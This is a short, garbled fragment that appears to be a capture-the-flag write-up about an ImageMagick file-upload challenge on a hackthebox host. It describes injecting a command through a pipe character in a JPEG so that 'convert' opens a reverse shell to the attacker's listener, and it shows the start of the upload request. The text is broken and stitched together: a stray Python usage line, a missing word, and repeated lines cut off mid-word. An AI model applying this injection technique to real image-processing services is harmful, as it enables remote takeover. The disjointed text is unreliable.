Juq-191 //free\\ Jun 2026

if len(sys.argv) != 2: print("Usage: backup.py <target_dir>") sys.exit(1)

The resulting JPEG still opens normally, but when convert processes it, the | character tells ImageMagick to the image data to the command following the pipe. The command we injected opens a reverse shell back to our listener. juq-191

POST /upload.php HTTP/1.1 Host: juq191.chal.hackthebox.eu Content-Type: multipart/form-data; boundary=----WebKitFormBoundary... if len(sys